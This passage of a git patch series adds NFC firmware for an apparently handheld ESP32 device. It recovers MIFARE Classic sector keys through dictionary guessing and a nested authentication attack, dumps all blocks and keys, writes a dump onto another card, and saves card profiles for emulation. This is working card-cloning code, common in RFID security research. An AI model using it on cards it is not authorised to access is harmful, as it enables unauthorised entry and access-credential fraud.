res->key_b_found = true; \ + memcpy(res->key_b, (kb), 6); \ + keys_b_found++; \ + memcpy(s_emu_card.keys[sect].key_b, (kb), 6); \ + s_emu_card.keys[sect].key_b_known = true; \ + mf_key_cache_store(card->uid, card->uid_len, sect, nsect, MF_KEY_B, (kb)); \ + if (nested_src_sector < 0) { \ + nested_src_sector = sect; \ + memcpy(nested_src_key.data, (kb), 6); \ + nested_src_type = MF_KEY_B; \ + } \ + if (!all_read) { \ + for (int _b = 0; _b < res->blocks_in_sector; _b++) { \ + if (!res->blocks_read[_b]) { \ + hb_nfc_err_t _e = mf_classic_read_block( \ + (uint8_t)(res->first_block + _b), res->block_data[_b]); \ + if (_e == HB_NFC_OK) { \ + res->blocks_read[_b] = true; \ + total_blocks_read++; \ + memcpy(s_emu_card.blocks[res->first_block + _b], \ + res->block_data[_b], 16); \ + } \ + } \ + } \ + } \ + } while (0) + + /* Priority: known-card hint keys */ + if (known && known->hint_keys) { + for (int k = 0; k < known->hint_key_count && !res->key_b_found; k++) { + if (try_key_bytes(card, (uint8_t)res->first_block, MF_KEY_B, + known->hint_keys[k])) { + FOUND_KEY_B(known->hint_keys[k]); + } + } + } + /* Fallback: full dictionary (skip already-tried hint keys) */ + for (int k = 0; k < dict_count && !res->key_b_found; k++) { + uint8_t key_bytes[6]; + mf_key_dict_get(k, key_bytes); + if (known && known->hint_keys) { + bool already = false; + for (int h = 0; h < known->hint_key_count; h++) { + if (memcmp(key_bytes, known->hint_keys[h], 6) == 0) { + already = true; break; + } + } + if (already) continue; + } + if (try_key_bytes(card, (uint8_t)res->first_block, MF_KEY_B, key_bytes)) { + FOUND_KEY_B(key_bytes); + } + } +#undef FOUND_KEY_B + } + + if (!res->key_b_found) { + sector_key_b_failed[sect] = true; + } + + if (sect == 0 && res->blocks_read[0]) { + for (int b = 0; b < 4; b++) { + memcpy(sect0_blk[b], res->block_data[b], 16); + } + sect0_read = true; + } + + char key_str[24]; + + if (res->key_a_found) { + hex_str_key(res->key_a, key_str, sizeof(key_str)); + ESP_LOGI(TAG, "Key A: %s", key_str); + } else { + ESP_LOGW(TAG, "Key A: -- -- -- -- -- -- (not found)"); + } + + if (res->key_b_found) { + hex_str_key(res->key_b, key_str, sizeof(key_str)); + ESP_LOGI(TAG, "Key B: %s", key_str); + } else { + if (res->blocks_read[res->blocks_in_sector - 1]) { + uint8_t c1, c2, c3; + get_access_bits_for_block(res->block_data[res->blocks_in_sector - 1], 3, &c1, &c2, &c3); + if (is_key_b_readable(c1, c2, c3)) { + uint8_t kb_from_trailer[6]; + memcpy(kb_from_trailer, &res->block_data[res->blocks_in_sector - 1][10], 6); + hex_str_key(kb_from_trailer, key_str, sizeof(key_str)); + ESP_LOGI(TAG, "Key B: %s (read from trailer used as data)", key_str); + memcpy(res->key_b, kb_from_trailer, 6); + res->key_b_found = true; + keys_b_found++; + } else { + ESP_LOGI(TAG, "Key B: (not tested / protected)"); + } + } + } + + ESP_LOGI(TAG, ""); + + char hex_buf[64], asc_buf[20]; + + for (int b = 0; b < res->blocks_in_sector; b++) { + int blk_num = res->first_block + b; + bool is_trailer = (b == res->blocks_in_sector - 1); + + if (!res->blocks_read[b]) { + ESP_LOGW(TAG, "[%03d] .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. ..%s", + blk_num, is_trailer ? " trailer" : ""); + continue; + } + + if (is_trailer) { + char ka_display[24], kb_display[24], ac_str[16]; + + if (res->key_a_found) { + hex_str_key(res->key_a, ka_display, sizeof(ka_display)); + } else { + snprintf(ka_display, sizeof(ka_display), "?? ?? ?? ?? ?? ??"); + } + + snprintf(ac_str, sizeof(ac_str), "%02X %02X %02X %02X", + res->block_data[b][6], res->block_data[b][7], + res->block_data[b][8], res->block_data[b][9]); + + if (res->key_b_found) { + hex_str_key(res->key_b, kb_display, sizeof(kb_display)); + } else { + hex_str_key(&res->block_data[b][10], kb_display, sizeof(kb_display)); + } + + ESP_LOGI(TAG, "[%03d] %s|%s|%s trailer", + blk_num, ka_display, ac_str, kb_display); + + if (verify_access_bits_parity(res->block_data[b])) { + ESP_LOGI(TAG, "Access bits valid:"); + } else { + ESP_LOGW(TAG, "Access bits INVALID (possible corruption!):"); + } + + for (int ab = 0; ab < res->blocks_in_sector; ab++) { + uint8_t c1, c2, c3; + get_access_bits_for_block(res->block_data[b], ab, &c1, &c2, &c3); + if (ab < res->blocks_in_sector - 1) { + ESP_LOGI(TAG, "Blk %d: C%d%d%d %s", + ab, c1, c2, c3, access_cond_data_str(c1, c2, c3)); + } else { + ESP_LOGI(TAG, "Trail: C%d%d%d %s", + c1, c2, c3, access_cond_trailer_str(c1, c2, c3)); + } + } + } + else if (blk_num == 0) { + hex_str(res->block_data[b], 16, hex_buf, sizeof(hex_buf)); + ESP_LOGI(TAG, "[%03d] %s manufacturer", blk_num, hex_buf); + } + else { + hex_str(res->block_data[b], 16, hex_buf, sizeof(hex_buf)); + ascii_str(res->block_data[b], 16, asc_buf, sizeof(asc_buf)); + + if (is_value_block(res->block_data[b])) { + int32_t val = decode_value_block(res->block_data[b]); + ESP_LOGI(TAG, "[%03d] %s value: %ld (addr %d)", + blk_num, hex_buf, (long)val, res->block_data[b][12]); + data_blocks_used++; + } + else if (is_block_empty(res->block_data[b])) { + ESP_LOGI(TAG, "[%03d] %s empty", blk_num, hex_buf); + } + else if (has_ascii_content(res->block_data[b])) { + ESP_LOGI(TAG, "[%03d] %s |%s|", blk_num, hex_buf, asc_buf); + data_blocks_used++; + } + else { + ESP_LOGI(TAG, "[%03d] %s", blk_num, hex_buf); + data_blocks_used++; + } + } + } + + if (sect == 0 && res->blocks_read[0]) { + analyze_manufacturer_block(res->block_data[0], card); + + if (res->blocks_read[1] && res->blocks_read[2]) { + bool mad_key = (res->key_a_dict_idx == 1); + check_mad(res->block_data[1], res->block_data[2], mad_key); + } + } + + bool all_read2 = true; + bool any_read = false; + for (int b = 0; b < res->blocks_in_sector; b++) { + if (res->blocks_read[b]) any_read = true; + else all_read2 = false; + } + + if (all_read2) { + ESP_LOGI(TAG, "Sector %02d: COMPLETE", sect); + sectors_read++; + } else if (any_read) { + ESP_LOGW(TAG, "~ Sector %02d: PARTIAL", sect); + sectors_partial++; + } else { + ESP_LOGW(TAG, "Sector %02d: FAILED", sect); + sectors_failed++; + } + ESP_LOGI(TAG, ""); + } + + /* --- Nested authentication attack for sectors that resisted the dict --- */ + if (nested_src_sector >= 0) { + bool nested_attempted = false; + for (int sect = 0; sect < nsect; sect++) { + if (!sector_key_a_failed[sect] && !sector_key_b_failed[sect]) continue; + + ESP_LOGI(TAG, "Nested attack sector %02d (src sector %02d)...", + sect, nested_src_sector); + nested_attempted = true; + + mf_classic_key_t found_key; + mf_key_type_t found_type; + hb_nfc_err_t nerr = mf_nested_attack( + card, + (uint8_t)nested_src_sector, + &nested_src_key, + nested_src_type, + (uint8_t)sect, + &found_key, + &found_type); + + if (nerr != HB_NFC_OK) { + ESP_LOGW(TAG, "Nested attack sector %02d: failed", sect); + continue; + } + + char key_str2[24]; + hex_str_key(found_key.data, key_str2, sizeof(key_str2)); + ESP_LOGI(TAG, "Nested attack sector %02d: found %s = %s", + sect, found_type == MF_KEY_A ? "Key A" : "Key B", key_str2); + + sector_result_t* res = &results[sect]; + if (found_type == MF_KEY_A) { + sector_key_a_failed[sect] = false; + res->key_a_found = true; + memcpy(res->key_a, found_key.data, 6); + keys_a_found++; + memcpy(s_emu_card.keys[sect].key_a, found_key.data, 6); + s_emu_card.keys[sect].key_a_known = true; + mf_key_cache_store(card->uid, card->uid_len, sect, nsect, + MF_KEY_A, found_key.data); + mf_key_dict_add(found_key.data); + } else { + sector_key_b_failed[sect] = false; + res->key_b_found = true; + memcpy(res->key_b, found_key.data, 6); + keys_b_found++; + memcpy(s_emu_card.keys[sect].key_b, found_key.data, 6); + s_emu_card.keys[sect].key_b_known = true; + mf_key_cache_store(card->uid, card->uid_len, sect, nsect, + MF_KEY_B, found_key.data); + mf_key_dict_add(found_key.data); + } + + /* Read the now-accessible blocks */ + iso14443a_poller_reselect(card); + mf_classic_reset_auth(); + mf_classic_auth((uint8_t)res->first_block, found_type, &found_key, card->uid); + for (int b = 0; b < res->blocks_in_sector; b++) { + if (!res->blocks_read[b]) { + hb_nfc_err_t err = mf_classic_read_block( + (uint8_t)(res->first_block + b), res->block_data[b]); + if (err == HB_NFC_OK) { + res->blocks_read[b] = true; + total_blocks_read++; + memcpy(s_emu_card.blocks[res->first_block + b], + res->block_data[b], 16); + } + } + } + + bool all_now = true; + for (int b = 0; b < res->blocks_in_sector; b++) { + if (!res->blocks_read[b]) { all_now = false; break; } + } + if (all_now) { + sectors_failed--; + sectors_read++; + } else { + sectors_failed--; + sectors_partial++; + } + } + if (nested_attempted) { + ESP_LOGI(TAG, ""); + } + } + + mf_key_cache_save(); + prng_analyze(); + + ESP_LOGI(TAG, ""); + ESP_LOGI(TAG, "READ RESULTS"); + ESP_LOGI(TAG, ""); + ESP_LOGI(TAG, "Sectors complete: %2d / %2d", + sectors_read, nsect); + if (sectors_partial > 0) { + ESP_LOGW(TAG, "Sectors partial: %2d", sectors_partial); + } + if (sectors_failed > 0) { + ESP_LOGW(TAG, "Sectors failed: %2d", sectors_failed); + } + ESP_LOGI(TAG, "Blocks read: %3d / %3d", + total_blocks_read, total_blocks); + ESP_LOGI(TAG, "Blocks with data: %3d (excluding trailers/empty)", + data_blocks_used); + ESP_LOGI(TAG, "Keys A found: %2d / %2d", + keys_a_found, nsect); + ESP_LOGI(TAG, "Keys B found: %2d / %2d", + keys_b_found, nsect); + + if (s_prng.all_same && s_prng.count > 2) { + ESP_LOGW(TAG, ""); + ESP_LOGW(TAG, "STATIC NONCE detected!"); + ESP_LOGW(TAG, "Card is likely a CLONE (Gen1a/Gen2)."); + ESP_LOGW(TAG, "Fixed PRNG = nt always 0x%08lX", + (unsigned long)s_prng.nonces[0]); + } else if (s_prng.weak_prng) { + ESP_LOGW(TAG, ""); + ESP_LOGW(TAG, "Weak PRNG detected: few unique nonces."); + ESP_LOGW(TAG, "Possible card clone with simplified PRNG."); + } + + if (sectors_read == nsect) { + ESP_LOGI(TAG, ""); + ESP_LOGI(TAG, "DUMP COMPLETE. All sectors read!"); + s_emu_data_ready = true; + } + + ESP_LOGI(TAG, ""); +} + +void mf_classic_write_all(nfc_iso14443a_data_t* target, bool write_trailers) +{ + if (!s_emu_data_ready) { + ESP_LOGW(TAG, "[WRITE] no card dump — run read first"); + return; + } + + int nsect = s_emu_card.sector_count; + int sectors_ok = 0, sectors_fail = 0, sectors_skip = 0; + + ESP_LOGI(TAG, "[WRITE] writing %d sectors%s...", + nsect, write_trailers ? " (incl. trailers)" : ""); + + for (int sect = 0; sect < nsect; sect++) { + bool have_a = s_emu_card.keys[sect].key_a_known; + bool have_b = s_emu_card.keys[sect].key_b_known; + + if (!have_a && !have_b) { + ESP_LOGW(TAG, "[WRITE] sector %02d: no key — skipping", sect); + sectors_skip++; + continue; + } + + const uint8_t* key = have_a ? s_emu_card.keys[sect].key_a + : s_emu_card.keys[sect].key_b; + mf_key_type_t ktype = have_a ? MF_KEY_A : MF_KEY_B; + + int first = (sect < 32) ? (sect * 4) : (128 + (sect - 32) * 16); + int nblks = (sect < 32) ? 4 : 16; + int data_blocks = nblks - 1; /* exclude trailer */ + + /* Write data blocks */ + int written = mf_classic_write_sector(target, (uint8_t)sect, + s_emu_card.blocks[first], + key, ktype, false); + if (written < 0) { + ESP_LOGW(TAG, "[WRITE] sector %02d: error %d", sect, written); + sectors_fail++; + continue; + } + + /* Optionally write trailer (keys + access bits) */ + if (write_trailers) { + int trailer_blk = first + nblks - 1; + mf_write_result_t wr = mf_classic_write( + target, (uint8_t)trailer_blk, + s_emu_card.blocks[trailer_blk], + key, ktype, false, true); + if (wr != MF_WRITE_OK) { + ESP_LOGW(TAG, "[WRITE] sector %02d trailer: %s", + sect, mf_write_result_str(wr)); + } + } + + ESP_LOGI(TAG, "[WRITE] sector %02d: %d/%d data blocks written", + sect, written, data_blocks); + sectors_ok++; + } + + ESP_LOGI(TAG, "[WRITE] done: %d ok %d failed %d skipped", + sectors_ok, sectors_fail, sectors_skip); +} + +void mfp_probe_and_dump(nfc_iso14443a_data_t* card) +{ + if (!card) return; + + ESP_LOGI(TAG, ""); + ESP_LOGI(TAG, "MIFARE Plus / ISO-DEP Card Probe"); + ESP_LOGI(TAG, "SAK: 0x%02X ATQA: %02X %02X", card->sak, card->atqa[0], card->atqa[1]); + ESP_LOGI(TAG, ""); + + mfp_session_t session = { 0 }; + hb_nfc_err_t err = mfp_poller_init(card, &session); + if (err != HB_NFC_OK) { + ESP_LOGW(TAG, "RATS failed (%s) — not ISO-DEP or removed", hb_nfc_err_str(err)); + return; + } + + if (session.dep.ats_len > 0) { + nfc_log_hex("ATS:", session.dep.ats, session.dep.ats_len); + ESP_LOGI(TAG, "FSC: %d FWI: %d", session.dep.fsc, session.dep.fwi); + } + + /* Probe: try MIFARE Plus SL3 FirstAuthenticate on sector 0 Key A (block 0x4000) + * with all-zeros key. A genuine MFP SL3 will respond with 0x90 0x00 + 16-byte + * challenge (EK_rndB). Any other status means not MFP SL3 or wrong key (expected). */ + const uint8_t zero_key[16] = { 0 }; + err = mfp_sl3_auth_first(&session, 0x4000, zero_key); + + if (err == HB_NFC_OK) { + ESP_LOGI(TAG, "MIFARE Plus SL3 confirmed (sector 0 authenticated with zero key)"); + ESP_LOGI(TAG, "SES_ENC: %02X %02X %02X %02X ...", + session.ses_enc[0], session.ses_enc[1], + session.ses_enc[2], session.ses_enc[3]); + } else { + /* Key wrong or not MFP SL3 — still log the response code */ + ESP_LOGI(TAG, "MIFARE Plus SL3 probe: auth rejected (key wrong or not MFP SL3)"); + ESP_LOGI(TAG, "Card is likely DESFire, JCOP, or MFP with custom key"); + } + + ESP_LOGI(TAG, ""); +} + +#ifndef MF_ULC_TRY_DEFAULT_KEY +#define MF_ULC_TRY_DEFAULT_KEY 1 +#endif + +#if MF_ULC_TRY_DEFAULT_KEY +#ifndef MF_ULC_DEFAULT_KEY +#define MF_ULC_DEFAULT_KEY \ + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \ + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 +#endif + +static const uint8_t k_mf_ulc_default_key[16] = { MF_ULC_DEFAULT_KEY }; +#endif + +void mful_dump_card(nfc_iso14443a_data_t* card) +{ + ESP_LOGI(TAG, ""); + ESP_LOGI(TAG, "MIFARE Ultralight / NTAG Read"); + ESP_LOGI(TAG, ""); + + iso14443a_poller_reselect(card); + uint8_t ver[8] = { 0 }; + int vlen = mful_get_version(ver); + + const char* tag_type = "Ultralight (classic)"; + int total_pages = 16; + + if (vlen >= 7) { + nfc_log_hex(" VERSION:", ver, (size_t)vlen); + uint8_t prod_type = ver[2]; + uint8_t prod_sub = ver[3]; + uint8_t storage = ver[6]; + + if (prod_type == 0x03) { + switch (storage) { + case 0x03: tag_type = "Ultralight (64 bytes)"; total_pages = 16; break; + case 0x0B: tag_type = "Ultralight EV1 (48 bytes)"; total_pages = 20; break; + case 0x11: tag_type = "Ultralight EV1 (128 bytes)"; total_pages = 41; break; + case 0x0E: tag_type = "Ultralight Nano (48 bytes)"; total_pages = 20; break; + default: tag_type = "Ultralight (unknown size)"; break; + } + } else if (prod_type == 0x04) { + switch (storage) { + case 0x06: tag_type = "NTAG213 (144 bytes user)"; total_pages = 45; break; + case 0x0E: tag_type = "NTAG215 (504 bytes user)"; total_pages = 135; break; + case 0x12: tag_type = "NTAG216 (888 bytes user)"; total_pages = 231; break; + case 0x0F: tag_type = "NTAG I2C 1K"; total_pages = 231; break; + case 0x13: tag_type = "NTAG I2C 2K"; total_pages = 485; break; + default: + if (prod_sub == 0x02) { + tag_type = "NTAG (unknown size)"; + } else if (prod_sub == 0x05) { + tag_type = "NTAG I2C (unknown size)"; + } + break; + } + } + + ESP_LOGI(TAG, "IC vendor: 0x%02X Type: 0x%02X Subtype: 0x%02X", + ver[1], prod_type, prod_sub); + ESP_LOGI(TAG, "Major: %d Minor: %d Storage: 0x%02X", ver[4], ver[5], storage); + } + + if (vlen < 7) { +#if MF_ULC_TRY_DEFAULT_KEY + hb_nfc_err_t aerr = mful_ulc_auth(k_mf_ulc_default_key); + if (aerr == HB_NFC_OK) { + tag_type = "Ultralight C (3DES auth)"; + total_pages = 48; + ESP_LOGI(TAG, "ULC auth OK (default key)"); + } +#endif + } + + ESP_LOGI(TAG, "Tag: %s", tag_type); + ESP_LOGI(TAG, "Total: %d pages (%d bytes)", total_pages, total_pages * 4); + ESP_LOGI(TAG, ""); + + iso14443a_poller_reselect(card); + + int pages_read = 0; + char hex_buf[16], asc_buf[8]; + + for (int pg = 0; pg < total_pages; pg += 4) { + uint8_t raw[18] = { 0 }; + int rlen = mful_read_pages((uint8_t)pg, raw); + + if (rlen >= 16) { + int batch = (total_pages - pg < 4) ? (total_pages - pg) : 4; + for (int p = 0; p < batch; p++) { + int page_num = pg + p; + hex_str(&raw[p * 4], 4, hex_buf, sizeof(hex_buf)); + ascii_str(&raw[p * 4], 4, asc_buf, sizeof(asc_buf)); + + const char* label = ""; + if (page_num <= 1) label = " <- UID"; + else if (page_num == 2) label = " <- Internal/Lock"; + else if (page_num == 3) label = " <- OTP/CC"; + else if (page_num == 4) label = " <- Data start"; + + ESP_LOGI(TAG, "[%03d] %s |%s|%s", page_num, hex_buf, asc_buf, label); + pages_read++; + } + } else { + for (int p = 0; p < 4 && (pg + p) < total_pages; p++) { + ESP_LOGW(TAG, "[%03d] .. .. .. .. |....| protected", pg + p); + } + break; + } + } + + ESP_LOGI(TAG, ""); + ESP_LOGI(TAG, "Pages read: %d / %d (%d%%)", + pages_read, total_pages, pages_read * 100 / total_pages); +} + +void t4t_dump_ndef(nfc_iso14443a_data_t* card) +{ + if (!card) return; + + ESP_LOGI(TAG, ""); + ESP_LOGI(TAG, "ISO-DEP / T4T NDEF Read"); + ESP_LOGI(TAG, ""); + + iso14443a_poller_reselect(card); + + nfc_iso_dep_data_t dep = { 0 }; + hb_nfc_err_t err = iso_dep_rats(8, 0, &dep); + if (err != HB_NFC_OK) { + ESP_LOGW(TAG, "RATS failed: %s", hb_nfc_err_str(err)); + return; + } + + t4t_cc_t cc = { 0 }; + err = t4t_read_cc(&dep, &cc); + if (err != HB_NFC_OK) { + ESP_LOGW(TAG, "CC read failed: %s", hb_nfc_err_str(err)); + return; + } + + uint8_t ndef[512] = { 0 }; + size_t ndef_len = 0; + err = t4t_read_ndef(&dep, &cc, ndef, sizeof(ndef), &ndef_len); + if (err != HB_NFC_OK) { + ESP_LOGW(TAG, "NDEF read failed: %s", hb_nfc_err_str(err)); + return; + } + + ESP_LOGI(TAG, "NDEF length: %u bytes", (unsigned)ndef_len); + size_t dump_len = ndef_len; + if (dump_len > 256) dump_len = 256; + if (dump_len > 0) nfc_log_hex("NDEF:", ndef, dump_len); + if (ndef_len > dump_len) { + ESP_LOGI(TAG, "NDEF truncated (total=%u bytes)", (unsigned)ndef_len); + } +} From f78acfdb75ea8fcc0a04eca5339243e83f2383ad Mon Sep 17 00:00:00 2001 From: luis_thiago <95657866+lthiagovs@users.noreply.github.com> Date: Thu, 19 Mar 2026 00:18:28 -0300 Subject: [PATCH 45/61] feat(nfc): add card info display utility --- .../Applications/nfc/include/nfc_card_info.h | 22 +++ .../Applications/nfc/nfc_card_info.c | 132 ++++++++++++++++++ 2 files changed, 154 insertions(+) create mode 100644 firmware_p4/components/Applications/nfc/include/nfc_card_info.h create mode 100644 firmware_p4/components/Applications/nfc/nfc_card_info.c diff --git a/firmware_p4/components/Applications/nfc/include/nfc_card_info.h b/firmware_p4/components/Applications/nfc/include/nfc_card_info.h new file mode 100644 index 00000000..ee352e47 --- /dev/null +++ b/firmware_p4/components/Applications/nfc/include/nfc_card_info.h @@ -0,0 +1,22 @@ +/** + * @file nfc_card_info.h + * @brief Card identification helpers (manufacturer + type). + */ +#ifndef NFC_CARD_INFO_H +#define NFC_CARD_INFO_H + +#include +#include + +typedef struct { + const char* name; + const char* full_name; + bool is_mf_classic; + bool is_mf_ultralight; + bool is_iso_dep; +} card_type_info_t; + +const char* get_manufacturer_name(uint8_t uid0); +card_type_info_t identify_card(uint8_t sak, const uint8_t atqa[2]); + +#endif diff --git a/firmware_p4/components/Applications/nfc/nfc_card_info.c b/firmware_p4/components/Applications/nfc/nfc_card_info.c new file mode 100644 index 00000000..935a3c85 --- /dev/null +++ b/firmware_p4/components/Applications/nfc/nfc_card_info.c @@ -0,0 +1,132 @@ +#include "nfc_card_info.h" +#include + +const char* get_manufacturer_name(uint8_t uid0) +{ + switch (uid0) { + case 0x01: return "Motorola"; + case 0x02: return "STMicroelectronics"; + case 0x03: return "Hitachi"; + case 0x04: return "NXP Semiconductors"; + case 0x05: return "Infineon Technologies"; + case 0x06: return "Cylink"; + case 0x07: return "Texas Instruments"; + case 0x08: return "Fujitsu"; + case 0x09: return "Matsushita"; + case 0x0A: return "NEC"; + case 0x0B: return "Oki Electric"; + case 0x0C: return "Toshiba"; + case 0x0D: return "Mitsubishi Electric"; + case 0x0E: return "Samsung Electronics"; + case 0x0F: return "Hynix"; + case 0x10: return "LG Semiconductors"; + case 0x11: return "Emosyn-EM Microelectronics"; + case 0x12: return "INSIDE Technology"; + case 0x13: return "ORGA Kartensysteme"; + case 0x14: return "SHARP"; + case 0x15: return "ATMEL"; + case 0x16: return "EM Microelectronic-Marin"; + case 0x17: return "SMARTRAC"; + case 0x18: return "ZMD"; + case 0x19: return "XICOR"; + case 0x1A: return "Sony"; + case 0x1B: return "Malaysia Microelectronic Solutions"; + case 0x1C: return "Emosyn"; + case 0x1D: return "Shanghai Fudan Microelectronics"; + case 0x1E: return "Magellan Technology"; + case 0x1F: return "Melexis"; + case 0x20: return "Renesas Technology"; + case 0x21: return "TAGSYS"; + case 0x22: return "Transcore"; + case 0x23: return "Shanghai Belling"; + case 0x24: return "Masktech"; + case 0x25: return "Innovision R&T"; + case 0x26: return "Hitachi ULSI Systems"; + case 0x27: return "Yubico"; + case 0x28: return "Ricoh"; + case 0x29: return "ASK"; + case 0x2A: return "Unicore Microsystems"; + case 0x2B: return "Dallas/Maxim"; + case 0x2C: return "Impinj"; + case 0x2D: return "RightPlug Alliance"; + case 0x2E: return "Broadcom"; + case 0x2F: return "MStar Semiconductor"; + case 0x50: return "HID Global"; + case 0x88: return "Infineon Technologies (cascade)"; + case 0xE0: return "Unknown (Chinese clone)"; + default: return NULL; + } +} + +card_type_info_t identify_card(uint8_t sak, const uint8_t atqa[2]) +{ + card_type_info_t info = { "Unknown", "Unknown NFC-A Tag", false, false, false }; + + if (sak == 0x00) { + info.name = "NTAG/Ultralight"; + info.full_name = "MIFARE Ultralight / NTAG"; + info.is_mf_ultralight = true; + } + else if (sak == 0x08) { + info.name = "Classic 1K"; + info.is_mf_classic = true; + if (atqa[0] == 0x44 && atqa[1] == 0x00) { + info.full_name = "MIFARE Classic 1K (4-byte NUID)"; + } else if (atqa[0] == 0x04 && atqa[1] == 0x04) { + info.full_name = "MIFARE Plus 2K (SL1)"; + } else if (atqa[0] == 0x44 && atqa[1] == 0x04) { + info.full_name = "MIFARE Plus 2K (SL1 7b)"; + } else { + info.full_name = "MIFARE Classic 1K"; + } + } + else if (sak == 0x88) { + info.name = "Classic 1K"; + info.full_name = "MIFARE Classic (SAK 0x88)"; + info.is_mf_classic = true; + } + else if (sak == 0x09) { + info.name = "Classic Mini"; + info.full_name = "MIFARE Classic Mini 0.3K (320 bytes)"; + info.is_mf_classic = true; + } + else if (sak == 0x10) { + info.name = "Plus 2K SL2"; + info.full_name = "MIFARE Plus 2K (SL2)"; + info.is_mf_classic = true; + } + else if (sak == 0x11) { + info.name = "Plus 4K SL2"; + info.full_name = "MIFARE Plus 4K (SL2)"; + info.is_mf_classic = true; + } + else if (sak == 0x18) { + info.name = "Classic 4K"; + info.full_name = "MIFARE Classic 4K"; + info.is_mf_classic = true; + } + else if (sak == 0x01) { + info.name = "Classic 1K TNP"; + info.full_name = "TNP3XXX (Classic 1K protocol)"; + info.is_mf_classic = true; + } + else if (sak == 0x28) { + info.name = "Classic 1K-EV1"; + info.full_name = "MIFARE Classic 1K (emulated / EV1)"; + info.is_mf_classic = true; + } + else if (sak == 0x38) { + info.name = "Classic 4K-EV1"; + info.full_name = "MIFARE Classic 4K (emulated / EV1)"; + info.is_mf_classic = true; + } + else if (sak & 0x20) { + info.name = "ISO-DEP"; + info.is_iso_dep = true; + if (sak == 0x20) info.full_name = "ISO 14443-4 (DESFire / Plus SL3 / JCOP)"; + else if (sak == 0x60) info.full_name = "ISO 14443-4 (CL3 cascade)"; + else info.full_name = "ISO 14443-4 Compatible"; + } + + return info; +} From c5ba2ea046875b79c4c86eb7328202f1044f5038 Mon Sep 17 00:00:00 2001 From: luis_thiago <95657866+lthiagovs@users.noreply.github.com> Date: Thu, 19 Mar 2026 00:18:40 -0300 Subject: [PATCH 46/61] feat(nfc): add NFC device abstraction --- .../Applications/nfc/include/nfc_device.h | 119 +++++ .../components/Applications/nfc/nfc_device.c | 457 ++++++++++++++++++ 2 files changed, 576 insertions(+) create mode 100644 firmware_p4/components/Applications/nfc/include/nfc_device.h create mode 100644 firmware_p4/components/Applications/nfc/nfc_device.c diff --git a/firmware_p4/components/Applications/nfc/include/nfc_device.h b/firmware_p4/components/Applications/nfc/include/nfc_device.h new file mode 100644 index 00000000..34b0eaf2 --- /dev/null +++ b/firmware_p4/components/Applications/nfc/include/nfc_device.h @@ -0,0 +1,119 @@ +/** + * @file nfc_device.h + * @brief NFC Device Card profile save/load via NVS. + * + * Provides persistent storage for card dumps (profiles). + * Each profile stores: UID, ATQA, SAK, type, all blocks, all keys. + * + * Storage layout in NVS namespace "nfc_cards": + * "count" uint8_t: number of saved profiles + * "name_0" string: profile 0 name + * "data_0" blob: serialized card data + * "name_1" string: profile 1 name + * "data_1" blob: serialized card data + * ... + * "active" uint8_t: currently active profile index + * + * Max profiles limited by NVS partition size (typically 5-10 for 4K cards). + */ +#ifndef NFC_DEVICE_H +#define NFC_DEVICE_H + +#include "highboy_nfc_types.h" +#include "highboy_nfc_error.h" +#include "mf_classic_emu.h" + +#ifdef __cplusplus +extern "C" { +#endif + +#define NFC_DEVICE_MAX_PROFILES 8 +#define NFC_DEVICE_NAME_MAX_LEN 32 +#define NFC_DEVICE_NVS_NAMESPACE "nfc_cards" + +typedef struct { + char name[NFC_DEVICE_NAME_MAX_LEN]; + uint8_t uid[10]; + uint8_t uid_len; + uint8_t sak; + mf_classic_type_t type; + int sector_count; + int keys_known; + bool complete; +} nfc_device_profile_info_t; + +/** + * Initialize NVS storage for card profiles. + * Call once at startup. + */ +hb_nfc_err_t nfc_device_init(void); + +/** + * Save a card profile to NVS. + * @param name Human-readable name (e.g., "Office Card") + * @param card Full card dump with keys + * @return HB_NFC_OK on success + */ +hb_nfc_err_t nfc_device_save(const char* name, const mfc_emu_card_data_t* card); + +/** + * Load a card profile from NVS by index. + * @param index Profile index (0..count-1) + * @param card Output: card data + * @return HB_NFC_OK on success + */ +hb_nfc_err_t nfc_device_load(int index, mfc_emu_card_data_t* card); + +/** + * Load a card profile from NVS by name. + */ +hb_nfc_err_t nfc_device_load_by_name(const char* name, mfc_emu_card_data_t* card); + +/** + * Delete a card profile from NVS. + */ +hb_nfc_err_t nfc_device_delete(int index); + +/** + * Get number of saved profiles. + */ +int nfc_device_get_count(void); + +/** + * Get profile info (lightweight, no block data). + */ +hb_nfc_err_t nfc_device_get_info(int index, nfc_device_profile_info_t* info); + +/** + * List all saved profiles. + * @param infos Output array (must have space for NFC_DEVICE_MAX_PROFILES entries) + * @return Number of profiles found + */ +int nfc_device_list(nfc_device_profile_info_t* infos, int max_count); + +/** + * Set/get the active profile index for emulation. + */ +hb_nfc_err_t nfc_device_set_active(int index); +int nfc_device_get_active(void); + +/** + * Save generic card data to NVS (legacy wrapper). + */ +hb_nfc_err_t nfc_device_save_generic(const char* name, const hb_nfc_card_data_t* card); + +/** + * Load generic card data from NVS (legacy wrapper). + */ +hb_nfc_err_t nfc_device_load_generic(const char* name, hb_nfc_card_data_t* card); + +/** + * Get protocol name string. + */ +const char* nfc_device_protocol_name(hb_nfc_protocol_t proto); + +#ifdef __cplusplus +} +#endif + +#endif diff --git a/firmware_p4/components/Applications/nfc/nfc_device.c b/firmware_p4/components/Applications/nfc/nfc_device.c new file mode 100644 index 00000000..4de69958 --- /dev/null +++ b/firmware_p4/components/Applications/nfc/nfc_device.c @@ -0,0 +1,457 @@ +/* + * Serialization format (binary blob): + * [0] uid_len (1 byte) + * [1..10] uid (10 bytes, padded) + * [11..12] atqa (2 bytes) + * [13] sak (1 byte) + * [14] type (1 byte) + * [15..16] sector_count (2 bytes LE) + * [17..18] total_blocks (2 bytes LE) + * [19..] keys: for each sector (sector_count): + * key_a[6] + key_b[6] + key_a_known(1) + key_b_known(1) = 14 bytes + * [...] blocks: total_blocks 16 bytes + * + * Total for MFC 1K: 19 + 16*14 + 64*16 = 19 + 224 + 1024 = 1267 bytes + * Total for MFC 4K: 19 + 40*14 + 256*16 = 19 + 560 + 4096 = 4675 bytes + */ +#include "nfc_device.h" +#include "nfc_store.h" +#include +#include "esp_log.h" +#include "nvs_flash.h" +#include "nvs.h" +#include "mf_key_dict.h" +#include "mf_key_cache.h" + +static const char* TAG = "nfc_dev"; + +#define SERIALIZE_HEADER_SIZE 19 +#define SERIALIZE_KEY_SIZE 14 +#define SERIALIZE_MAX_SIZE (SERIALIZE_HEADER_SIZE + \ + MFC_EMU_MAX_SECTORS * SERIALIZE_KEY_SIZE + \ + 